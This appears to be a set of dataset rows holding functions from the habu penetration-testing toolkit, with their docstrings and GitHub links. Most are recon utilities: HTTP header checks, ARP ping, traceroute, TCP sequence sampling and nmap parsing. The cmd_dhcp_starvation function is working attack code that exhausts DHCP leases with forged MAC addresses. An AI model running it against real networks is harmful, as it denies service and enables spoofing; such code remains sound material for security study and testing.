https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_protoscan.py#L18-L66
225,947
portantier/habu
habu/cli/cmd_http_options.py
cmd_http_options
def cmd_http_options(server, verbose): """Retrieve the available HTTP methods of a web server. Example: \b $ habu.http.options -v http://google.com { "allowed": "GET, HEAD" } """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if verbose: print("[-] Retrieving the HTTP headers of the server...") options = get_options(server) if type(options) is dict: print(json.dumps(options, indent=4)) if verbose: print("[+] HTTP options from {} retrieved".format(server)) else: print("[X] {}".format(options), file=sys.stderr) return True
python
def cmd_http_options(server, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if verbose: print("[-] Retrieving the HTTP headers of the server...") options = get_options(server) if type(options) is dict: print(json.dumps(options, indent=4)) if verbose: print("[+] HTTP options from {} retrieved".format(server)) else: print("[X] {}".format(options), file=sys.stderr) return True
[ "def", "cmd_http_options", "(", "server", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "if", "verbose", ":", "print", "(", "\"[-] Retriev...
Retrieve the available HTTP methods of a web server. Example: \b $ habu.http.options -v http://google.com { "allowed": "GET, HEAD" }
[ "Retrieve", "the", "available", "HTTP", "methods", "of", "a", "web", "server", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_http_options.py#L14-L40
225,948
portantier/habu
habu/cli/cmd_arp_ping.py
cmd_arp_ping
def cmd_arp_ping(ip, iface, verbose): """ Send ARP packets to check if a host it's alive in the local network. Example: \b # habu.arp.ping 192.168.0.1 Ether / ARP is at a4:08:f5:19:17:a4 says 192.168.0.1 / Padding """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') conf.verb = False if iface: conf.iface = iface res, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2) for _, pkt in res: if verbose: print(pkt.show()) else: print(pkt.summary())
python
def cmd_arp_ping(ip, iface, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') conf.verb = False if iface: conf.iface = iface res, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2) for _, pkt in res: if verbose: print(pkt.show()) else: print(pkt.summary())
[ "def", "cmd_arp_ping", "(", "ip", ",", "iface", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "conf", ".", "verb", "=", "False", "if",...
Send ARP packets to check if a host it's alive in the local network. Example: \b # habu.arp.ping 192.168.0.1 Ether / ARP is at a4:08:f5:19:17:a4 says 192.168.0.1 / Padding
[ "Send", "ARP", "packets", "to", "check", "if", "a", "host", "it", "s", "alive", "in", "the", "local", "network", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_arp_ping.py#L18-L43
225,949
portantier/habu
habu/cli/cmd_dhcp_starvation.py
cmd_dhcp_starvation
def cmd_dhcp_starvation(iface, timeout, sleeptime, verbose): """Send multiple DHCP requests from forged MAC addresses to fill the DHCP server leases. When all the available network addresses are assigned, the DHCP server don't send responses. So, some attacks, like DHCP spoofing, can be made. \b # habu.dhcp_starvation Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP """ conf.verb = False if iface: conf.iface = iface conf.checkIPaddr = False ether = Ether(dst="ff:ff:ff:ff:ff:ff") ip = IP(src="0.0.0.0",dst="255.255.255.255") udp = UDP(sport=68, dport=67) dhcp = DHCP(options=[("message-type","discover"),"end"]) while True: bootp = BOOTP(chaddr=str(RandMAC())) dhcp_discover = ether / ip / udp / bootp / dhcp ans, unans = srp(dhcp_discover, timeout=1) # Press CTRL-C after several seconds for _, pkt in ans: if verbose: print(pkt.show()) else: print(pkt.sprintf(r"%IP.src% offers %BOOTP.yiaddr%")) sleep(sleeptime)
python
def cmd_dhcp_starvation(iface, timeout, sleeptime, verbose): conf.verb = False if iface: conf.iface = iface conf.checkIPaddr = False ether = Ether(dst="ff:ff:ff:ff:ff:ff") ip = IP(src="0.0.0.0",dst="255.255.255.255") udp = UDP(sport=68, dport=67) dhcp = DHCP(options=[("message-type","discover"),"end"]) while True: bootp = BOOTP(chaddr=str(RandMAC())) dhcp_discover = ether / ip / udp / bootp / dhcp ans, unans = srp(dhcp_discover, timeout=1) # Press CTRL-C after several seconds for _, pkt in ans: if verbose: print(pkt.show()) else: print(pkt.sprintf(r"%IP.src% offers %BOOTP.yiaddr%")) sleep(sleeptime)
[ "def", "cmd_dhcp_starvation", "(", "iface", ",", "timeout", ",", "sleeptime", ",", "verbose", ")", ":", "conf", ".", "verb", "=", "False", "if", "iface", ":", "conf", ".", "iface", "=", "iface", "conf", ".", "checkIPaddr", "=", "False", "ether", "=", "...
Send multiple DHCP requests from forged MAC addresses to fill the DHCP server leases. When all the available network addresses are assigned, the DHCP server don't send responses. So, some attacks, like DHCP spoofing, can be made. \b # habu.dhcp_starvation Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP
[ "Send", "multiple", "DHCP", "requests", "from", "forged", "MAC", "addresses", "to", "fill", "the", "DHCP", "server", "leases", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_dhcp_starvation.py#L20-L58
225,950
portantier/habu
habu/cli/cmd_http_headers.py
cmd_http_headers
def cmd_http_headers(server, verbose): """Retrieve the HTTP headers of a web server. Example: \b $ habu.http.headers http://duckduckgo.com { "Server": "nginx", "Date": "Sun, 14 Apr 2019 00:00:55 GMT", "Content-Type": "text/html", "Content-Length": "178", "Connection": "keep-alive", "Location": "https://duckduckgo.com/", "X-Frame-Options": "SAMEORIGIN", "Content-Security-Policy": "default-src https: blob: data: 'unsafe-inline' 'unsafe-eval'", "X-XSS-Protection": "1;mode=block", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "origin", "Expect-CT": "max-age=0", "Expires": "Mon, 13 Apr 2020 00:00:55 GMT", "Cache-Control": "max-age=31536000" } """ if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if verbose: print("[-] Retrieving the HTTP headers of the server...") headers = get_headers(server) if headers is not False: print(json.dumps(headers, indent=4)) else: print("[X] URL {} is not valid!", file=sys.stderr) if verbose: print("[+] HTTP headers from {} retrieved".format(server)) return True
python
def cmd_http_headers(server, verbose): if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if verbose: print("[-] Retrieving the HTTP headers of the server...") headers = get_headers(server) if headers is not False: print(json.dumps(headers, indent=4)) else: print("[X] URL {} is not valid!", file=sys.stderr) if verbose: print("[+] HTTP headers from {} retrieved".format(server)) return True
[ "def", "cmd_http_headers", "(", "server", ",", "verbose", ")", ":", "if", "verbose", ":", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "INFO", ",", "format", "=", "'%(message)s'", ")", "if", "verbose", ":", "print", "(", "\"[-] Retriev...
Retrieve the HTTP headers of a web server. Example: \b $ habu.http.headers http://duckduckgo.com { "Server": "nginx", "Date": "Sun, 14 Apr 2019 00:00:55 GMT", "Content-Type": "text/html", "Content-Length": "178", "Connection": "keep-alive", "Location": "https://duckduckgo.com/", "X-Frame-Options": "SAMEORIGIN", "Content-Security-Policy": "default-src https: blob: data: 'unsafe-inline' 'unsafe-eval'", "X-XSS-Protection": "1;mode=block", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "origin", "Expect-CT": "max-age=0", "Expires": "Mon, 13 Apr 2020 00:00:55 GMT", "Cache-Control": "max-age=31536000" }
[ "Retrieve", "the", "HTTP", "headers", "of", "a", "web", "server", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_http_headers.py#L14-L54
225,951
portantier/habu
habu/cli/cmd_fernet.py
cmd_fernet
def cmd_fernet(key, decrypt, ttl, i, o): """Fernet cipher. Uses AES-128-CBC with HMAC Note: You must use a key to cipher with Fernet. Use the -k paramenter or set the FERNET_KEY configuration value. The keys can be generated with the command habu.fernet.genkey Reference: https://github.com/fernet/spec/blob/master/Spec.md Example: \b $ "I want to protect this string" | habu.fernet gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... \b $ echo gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... | habu.fernet -d I want to protect this string """ habucfg = loadcfg() if not key: if 'FERNET_KEY' in habucfg: key = habucfg['FERNET_KEY'] else: print(ERROR_NOKEY, file=sys.stderr) sys.exit(1) if not ttl: ttl=None cipher = Fernet(key) data = i.read() if decrypt: try: token = cipher.decrypt(data, ttl) except Exception as e: print("Error decrypting", file=sys.stderr) sys.exit(1) else: token = cipher.encrypt(data) print(token.decode(), end='')
python
def cmd_fernet(key, decrypt, ttl, i, o): habucfg = loadcfg() if not key: if 'FERNET_KEY' in habucfg: key = habucfg['FERNET_KEY'] else: print(ERROR_NOKEY, file=sys.stderr) sys.exit(1) if not ttl: ttl=None cipher = Fernet(key) data = i.read() if decrypt: try: token = cipher.decrypt(data, ttl) except Exception as e: print("Error decrypting", file=sys.stderr) sys.exit(1) else: token = cipher.encrypt(data) print(token.decode(), end='')
[ "def", "cmd_fernet", "(", "key", ",", "decrypt", ",", "ttl", ",", "i", ",", "o", ")", ":", "habucfg", "=", "loadcfg", "(", ")", "if", "not", "key", ":", "if", "'FERNET_KEY'", "in", "habucfg", ":", "key", "=", "habucfg", "[", "'FERNET_KEY'", "]", "e...
Fernet cipher. Uses AES-128-CBC with HMAC Note: You must use a key to cipher with Fernet. Use the -k paramenter or set the FERNET_KEY configuration value. The keys can be generated with the command habu.fernet.genkey Reference: https://github.com/fernet/spec/blob/master/Spec.md Example: \b $ "I want to protect this string" | habu.fernet gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... \b $ echo gAAAAABbXnCGoCULLuVNRElYTbEcwnek9iq5jBKq9JAN3wiiBUzPqpUgV5oWvnC6xfIA... | habu.fernet -d I want to protect this string
[ "Fernet", "cipher", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_fernet.py#L29-L78
225,952
portantier/habu
habu/cli/cmd_isn.py
cmd_isn
def cmd_isn(ip, port, count, iface, graph, verbose): """Create TCP connections and print the TCP initial sequence numbers for each one. \b $ sudo habu.isn -c 5 www.portantier.com 1962287220 1800895007 589617930 3393793979 469428558 Note: You can get a graphical representation (needs the matplotlib package) using the '-g' option to better understand the randomness. """ conf.verb = False if iface: conf.iface = iface isn_values = [] for _ in range(count): pkt = IP(dst=ip)/TCP(sport=RandShort(), dport=port, flags="S") ans = sr1(pkt, timeout=0.5) if ans: send(IP(dst=ip)/TCP(sport=pkt[TCP].sport, dport=port, ack=ans[TCP].seq + 1, flags='A')) isn_values.append(ans[TCP].seq) if verbose: ans.show2() if graph: try: import matplotlib.pyplot as plt except ImportError: print("To graph support, install matplotlib") return 1 plt.plot(range(len(isn_values)), isn_values, 'ro') plt.show() else: for v in isn_values: print(v) return True
python
def cmd_isn(ip, port, count, iface, graph, verbose): conf.verb = False if iface: conf.iface = iface isn_values = [] for _ in range(count): pkt = IP(dst=ip)/TCP(sport=RandShort(), dport=port, flags="S") ans = sr1(pkt, timeout=0.5) if ans: send(IP(dst=ip)/TCP(sport=pkt[TCP].sport, dport=port, ack=ans[TCP].seq + 1, flags='A')) isn_values.append(ans[TCP].seq) if verbose: ans.show2() if graph: try: import matplotlib.pyplot as plt except ImportError: print("To graph support, install matplotlib") return 1 plt.plot(range(len(isn_values)), isn_values, 'ro') plt.show() else: for v in isn_values: print(v) return True
[ "def", "cmd_isn", "(", "ip", ",", "port", ",", "count", ",", "iface", ",", "graph", ",", "verbose", ")", ":", "conf", ".", "verb", "=", "False", "if", "iface", ":", "conf", ".", "iface", "=", "iface", "isn_values", "=", "[", "]", "for", "_", "in"...
Create TCP connections and print the TCP initial sequence numbers for each one. \b $ sudo habu.isn -c 5 www.portantier.com 1962287220 1800895007 589617930 3393793979 469428558 Note: You can get a graphical representation (needs the matplotlib package) using the '-g' option to better understand the randomness.
[ "Create", "TCP", "connections", "and", "print", "the", "TCP", "initial", "sequence", "numbers", "for", "each", "one", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_isn.py#L21-L69
225,953
portantier/habu
habu/cli/cmd_traceroute.py
cmd_traceroute
def cmd_traceroute(ip, port, iface): """TCP traceroute. Identify the path to a destination getting the ttl-zero-during-transit messages. Note: On the internet, you can have various valid paths to a device. Example: \b # habu.traceroute 45.77.113.133 IP / ICMP 192.168.0.1 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror IP / ICMP 10.242.4.197 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding IP / ICMP 200.32.127.98 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding . IP / ICMP 4.16.180.190 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror . IP / TCP 45.77.113.133:http > 192.168.0.5:ftp_data SA / Padding Note: It's better if you use a port that is open on the remote system. """ conf.verb = False if iface: conf.iface = iface pkts = IP(dst=ip, ttl=(1, 16)) / TCP(dport=port) for pkt in pkts: ans = sr1(pkt, timeout=1, iface=conf.iface) if not ans: print('.') continue print(ans.summary()) if TCP in ans and ans[TCP].flags == 18: break return True
python
def cmd_traceroute(ip, port, iface): conf.verb = False if iface: conf.iface = iface pkts = IP(dst=ip, ttl=(1, 16)) / TCP(dport=port) for pkt in pkts: ans = sr1(pkt, timeout=1, iface=conf.iface) if not ans: print('.') continue print(ans.summary()) if TCP in ans and ans[TCP].flags == 18: break return True
[ "def", "cmd_traceroute", "(", "ip", ",", "port", ",", "iface", ")", ":", "conf", ".", "verb", "=", "False", "if", "iface", ":", "conf", ".", "iface", "=", "iface", "pkts", "=", "IP", "(", "dst", "=", "ip", ",", "ttl", "=", "(", "1", ",", "16", ...
TCP traceroute. Identify the path to a destination getting the ttl-zero-during-transit messages. Note: On the internet, you can have various valid paths to a device. Example: \b # habu.traceroute 45.77.113.133 IP / ICMP 192.168.0.1 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror IP / ICMP 10.242.4.197 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding IP / ICMP 200.32.127.98 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding . IP / ICMP 4.16.180.190 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror . IP / TCP 45.77.113.133:http > 192.168.0.5:ftp_data SA / Padding Note: It's better if you use a port that is open on the remote system.
[ "TCP", "traceroute", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_traceroute.py#L16-L58
225,954
portantier/habu
habu/lib/web_screenshot.py
web_screenshot
def web_screenshot(url, outfile, browser=None): """Create a screenshot of a website.""" valid_browsers = ['firefox', 'chromium-browser'] available_browsers = [ b for b in valid_browsers if which(b) ] if not available_browsers: print("You don't have firefox or chromium-browser in your PATH".format(browser), file=sys.stderr) return False if not browser: browser = available_browsers[0] if browser not in available_browsers: print("You don't have {} in your PATH".format(browser), file=sys.stderr) return False #screenshot_cmd = '' #profile_firefox = shlex.split('firefox --new-instance --CreateProfile habu.web.screenshot') #screenshot_firefox = shlex.split('firefox --new-instance --headless -P habu.web.screenshot --screenshot {} {}'.format(outfile, url)) #screenshot_chromium = shlex.split('chromium-browser --headless --disable-gpu --window-size=1440,900 --screenshot={} {}'.format(outfile, url)) if browser == 'firefox': profile_firefox = shlex.split('firefox --new-instance --CreateProfile habu.web.screenshot') subprocess.Popen(profile_firefox, stderr=subprocess.DEVNULL) screenshot_cmd = shlex.split('firefox --new-instance --headless -P habu.web.screenshot --screenshot {} {}'.format(outfile, url)) if browser == 'chromium-browser': screenshot_cmd = shlex.split('chromium-browser --headless --disable-gpu --window-size=1440,900 --screenshot={} {}'.format(outfile, url)) outfile = Path(outfile) if outfile.is_file(): outfile.unlink() with subprocess.Popen(screenshot_cmd, stderr=subprocess.DEVNULL) as proc: for count in range(DURATION): sleep(1) if outfile.is_file(): break if count == DURATION - 1: print("Unable to create screenshot", file=sys.stderr) break proc.kill() return True
python
def web_screenshot(url, outfile, browser=None): valid_browsers = ['firefox', 'chromium-browser'] available_browsers = [ b for b in valid_browsers if which(b) ] if not available_browsers: print("You don't have firefox or chromium-browser in your PATH".format(browser), file=sys.stderr) return False if not browser: browser = available_browsers[0] if browser not in available_browsers: print("You don't have {} in your PATH".format(browser), file=sys.stderr) return False #screenshot_cmd = '' #profile_firefox = shlex.split('firefox --new-instance --CreateProfile habu.web.screenshot') #screenshot_firefox = shlex.split('firefox --new-instance --headless -P habu.web.screenshot --screenshot {} {}'.format(outfile, url)) #screenshot_chromium = shlex.split('chromium-browser --headless --disable-gpu --window-size=1440,900 --screenshot={} {}'.format(outfile, url)) if browser == 'firefox': profile_firefox = shlex.split('firefox --new-instance --CreateProfile habu.web.screenshot') subprocess.Popen(profile_firefox, stderr=subprocess.DEVNULL) screenshot_cmd = shlex.split('firefox --new-instance --headless -P habu.web.screenshot --screenshot {} {}'.format(outfile, url)) if browser == 'chromium-browser': screenshot_cmd = shlex.split('chromium-browser --headless --disable-gpu --window-size=1440,900 --screenshot={} {}'.format(outfile, url)) outfile = Path(outfile) if outfile.is_file(): outfile.unlink() with subprocess.Popen(screenshot_cmd, stderr=subprocess.DEVNULL) as proc: for count in range(DURATION): sleep(1) if outfile.is_file(): break if count == DURATION - 1: print("Unable to create screenshot", file=sys.stderr) break proc.kill() return True
[ "def", "web_screenshot", "(", "url", ",", "outfile", ",", "browser", "=", "None", ")", ":", "valid_browsers", "=", "[", "'firefox'", ",", "'chromium-browser'", "]", "available_browsers", "=", "[", "b", "for", "b", "in", "valid_browsers", "if", "which", "(", ...
Create a screenshot of a website.
[ "Create", "a", "screenshot", "of", "a", "website", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/web_screenshot.py#L12-L61
225,955
portantier/habu
habu/cli/cmd_config_set.py
cmd_config_set
def cmd_config_set(key, value): """Set VALUE to the config KEY. Note: By default, KEY is converted to uppercase. Example: \b $ habu.config.set DNS_SERVER 8.8.8.8 """ habucfg = loadcfg(environment=False) habucfg[key.upper()] = value with Path('~/.habu.json').expanduser().open('w') as f: f.write(json.dumps(habucfg, indent=4, sort_keys=True))
python
def cmd_config_set(key, value): habucfg = loadcfg(environment=False) habucfg[key.upper()] = value with Path('~/.habu.json').expanduser().open('w') as f: f.write(json.dumps(habucfg, indent=4, sort_keys=True))
[ "def", "cmd_config_set", "(", "key", ",", "value", ")", ":", "habucfg", "=", "loadcfg", "(", "environment", "=", "False", ")", "habucfg", "[", "key", ".", "upper", "(", ")", "]", "=", "value", "with", "Path", "(", "'~/.habu.json'", ")", ".", "expanduse...
Set VALUE to the config KEY. Note: By default, KEY is converted to uppercase. Example: \b $ habu.config.set DNS_SERVER 8.8.8.8
[ "Set", "VALUE", "to", "the", "config", "KEY", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_config_set.py#L16-L30
225,956
portantier/habu
habu/cli/cmd_cymon_ip_timeline.py
cmd_cymon_ip_timeline
def cmd_cymon_ip_timeline(ip, no_cache, verbose, output, pretty): """Simple cymon API client. Prints the JSON result of a cymon IP timeline query. Example: \b $ habu.cymon.ip.timeline 8.8.8.8 { "timeline": [ { "time_label": "Aug. 18, 2018", "events": [ { "description": "Posted: 2018-08-18 23:37:39 CEST IDS Alerts: 0 URLQuery Alerts: 1 ...", "created": "2018-08-18T21:39:07Z", "title": "Malicious activity reported by urlquery.net", "details_url": "http://urlquery.net/report/b1393866-9b1f-4a8e-b02b-9636989050f3", "tag": "malicious activity" } ] }, ... """ habucfg = loadcfg() if 'CYMON_APIKEY' not in habucfg: print('You must provide a cymon apikey. Use the ~/.habu.json file (variable CYMON_APIKEY), or export the variable HABU_CYMON_APIKEY') print('Get your API key from https://www.cymon.io/') sys.exit(1) if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if not no_cache: homedir = pwd.getpwuid(os.getuid()).pw_dir requests_cache.install_cache(homedir + '/.habu_requests_cache') url = 'https://www.cymon.io:443/api/nexus/v1/ip/{}/timeline/'.format(ip) headers = { 'Authorization': 'Token {}'.format(habucfg['CYMON_APIKEY']) } r = requests.get(url, headers=headers) if r.status_code not in [200, 404]: print('ERROR', r) return False if r.status_code == 404: print("Not Found") return False data = r.json() if pretty: output.write(pretty_print(data)) else: output.write(json.dumps(data, indent=4)) output.write('\n')
python
def cmd_cymon_ip_timeline(ip, no_cache, verbose, output, pretty): habucfg = loadcfg() if 'CYMON_APIKEY' not in habucfg: print('You must provide a cymon apikey. Use the ~/.habu.json file (variable CYMON_APIKEY), or export the variable HABU_CYMON_APIKEY') print('Get your API key from https://www.cymon.io/') sys.exit(1) if verbose: logging.basicConfig(level=logging.INFO, format='%(message)s') if not no_cache: homedir = pwd.getpwuid(os.getuid()).pw_dir requests_cache.install_cache(homedir + '/.habu_requests_cache') url = 'https://www.cymon.io:443/api/nexus/v1/ip/{}/timeline/'.format(ip) headers = { 'Authorization': 'Token {}'.format(habucfg['CYMON_APIKEY']) } r = requests.get(url, headers=headers) if r.status_code not in [200, 404]: print('ERROR', r) return False if r.status_code == 404: print("Not Found") return False data = r.json() if pretty: output.write(pretty_print(data)) else: output.write(json.dumps(data, indent=4)) output.write('\n')
[ "def", "cmd_cymon_ip_timeline", "(", "ip", ",", "no_cache", ",", "verbose", ",", "output", ",", "pretty", ")", ":", "habucfg", "=", "loadcfg", "(", ")", "if", "'CYMON_APIKEY'", "not", "in", "habucfg", ":", "print", "(", "'You must provide a cymon apikey. Use the...
Simple cymon API client. Prints the JSON result of a cymon IP timeline query. Example: \b $ habu.cymon.ip.timeline 8.8.8.8 { "timeline": [ { "time_label": "Aug. 18, 2018", "events": [ { "description": "Posted: 2018-08-18 23:37:39 CEST IDS Alerts: 0 URLQuery Alerts: 1 ...", "created": "2018-08-18T21:39:07Z", "title": "Malicious activity reported by urlquery.net", "details_url": "http://urlquery.net/report/b1393866-9b1f-4a8e-b02b-9636989050f3", "tag": "malicious activity" } ] }, ...
[ "Simple", "cymon", "API", "client", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_cymon_ip_timeline.py#L33-L92
225,957
portantier/habu
habu/lib/host.py
gather_details
def gather_details(): """Get details about the host that is executing habu.""" try: data = { 'kernel': platform.uname(), 'distribution': platform.linux_distribution(), 'libc': platform.libc_ver(), 'arch': platform.machine(), 'python_version': platform.python_version(), 'os_name': platform.system(), 'static_hostname': platform.node(), 'cpu': platform.processor(), 'fqdn': socket.getfqdn(), } except AttributeError: return {} return data
python
def gather_details(): try: data = { 'kernel': platform.uname(), 'distribution': platform.linux_distribution(), 'libc': platform.libc_ver(), 'arch': platform.machine(), 'python_version': platform.python_version(), 'os_name': platform.system(), 'static_hostname': platform.node(), 'cpu': platform.processor(), 'fqdn': socket.getfqdn(), } except AttributeError: return {} return data
[ "def", "gather_details", "(", ")", ":", "try", ":", "data", "=", "{", "'kernel'", ":", "platform", ".", "uname", "(", ")", ",", "'distribution'", ":", "platform", ".", "linux_distribution", "(", ")", ",", "'libc'", ":", "platform", ".", "libc_ver", "(", ...
Get details about the host that is executing habu.
[ "Get", "details", "about", "the", "host", "that", "is", "executing", "habu", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/host.py#L6-L23
225,958
portantier/habu
habu/lib/ip.py
get_internal_ip
def get_internal_ip(): """Get the local IP addresses.""" nics = {} for interface_name in interfaces(): addresses = ifaddresses(interface_name) try: nics[interface_name] = { 'ipv4': addresses[AF_INET], 'link_layer': addresses[AF_LINK], 'ipv6': addresses[AF_INET6], } except KeyError: pass return nics
python
def get_internal_ip(): nics = {} for interface_name in interfaces(): addresses = ifaddresses(interface_name) try: nics[interface_name] = { 'ipv4': addresses[AF_INET], 'link_layer': addresses[AF_LINK], 'ipv6': addresses[AF_INET6], } except KeyError: pass return nics
[ "def", "get_internal_ip", "(", ")", ":", "nics", "=", "{", "}", "for", "interface_name", "in", "interfaces", "(", ")", ":", "addresses", "=", "ifaddresses", "(", "interface_name", ")", "try", ":", "nics", "[", "interface_name", "]", "=", "{", "'ipv4'", "...
Get the local IP addresses.
[ "Get", "the", "local", "IP", "addresses", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/ip.py#L14-L28
225,959
portantier/habu
habu/lib/ip.py
geo_location
def geo_location(ip_address): """Get the Geolocation of an IP address.""" try: type(ipaddress.ip_address(ip_address)) except ValueError: return {} data = requests.get( 'https://ipapi.co/{}/json/'.format(ip_address), timeout=5).json() return data
python
def geo_location(ip_address): try: type(ipaddress.ip_address(ip_address)) except ValueError: return {} data = requests.get( 'https://ipapi.co/{}/json/'.format(ip_address), timeout=5).json() return data
[ "def", "geo_location", "(", "ip_address", ")", ":", "try", ":", "type", "(", "ipaddress", ".", "ip_address", "(", "ip_address", ")", ")", "except", "ValueError", ":", "return", "{", "}", "data", "=", "requests", ".", "get", "(", "'https://ipapi.co/{}/json/'"...
Get the Geolocation of an IP address.
[ "Get", "the", "Geolocation", "of", "an", "IP", "address", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/lib/ip.py#L31-L40
225,960
portantier/habu
habu/cli/cmd_nmap_ports.py
cmd_nmap_ports
def cmd_nmap_ports(scanfile, protocol): """Read an nmap report and print the tested ports. Print the ports that has been tested reading the generated nmap output. You can use it to rapidly reutilize the port list for the input of other tools. Supports and detects the 3 output formats (nmap, gnmap and xml) Example: \b # habu.nmap.ports portantier.nmap 21,22,23,80,443 """ data = scanfile.read() fmt = detect_format(data) if fmt not in ['xml', 'nmap', 'gnmap']: print('Unknown file format.', file=sys.stdout) return 1 if fmt == 'nmap': result = parse_format_nmap(data, protocol) elif fmt == 'gnmap': result = parse_format_gnmap(data, protocol) elif fmt == 'xml': result = parse_format_xml(data, protocol) print(result, end='') return True
python
def cmd_nmap_ports(scanfile, protocol): data = scanfile.read() fmt = detect_format(data) if fmt not in ['xml', 'nmap', 'gnmap']: print('Unknown file format.', file=sys.stdout) return 1 if fmt == 'nmap': result = parse_format_nmap(data, protocol) elif fmt == 'gnmap': result = parse_format_gnmap(data, protocol) elif fmt == 'xml': result = parse_format_xml(data, protocol) print(result, end='') return True
[ "def", "cmd_nmap_ports", "(", "scanfile", ",", "protocol", ")", ":", "data", "=", "scanfile", ".", "read", "(", ")", "fmt", "=", "detect_format", "(", "data", ")", "if", "fmt", "not", "in", "[", "'xml'", ",", "'nmap'", ",", "'gnmap'", "]", ":", "prin...
Read an nmap report and print the tested ports. Print the ports that has been tested reading the generated nmap output. You can use it to rapidly reutilize the port list for the input of other tools. Supports and detects the 3 output formats (nmap, gnmap and xml) Example: \b # habu.nmap.ports portantier.nmap 21,22,23,80,443
[ "Read", "an", "nmap", "report", "and", "print", "the", "tested", "ports", "." ]
87091e389dc6332fe1b82830c22b2eefc55816f2
https://github.com/portantier/habu/blob/87091e389dc6332fe1b82830c22b2eefc55816f2/habu/cli/cmd_nmap_ports.py#L83-L115
225,961
portantier/habu
habu/cli/cmd_web_report.py
cmd_web_report
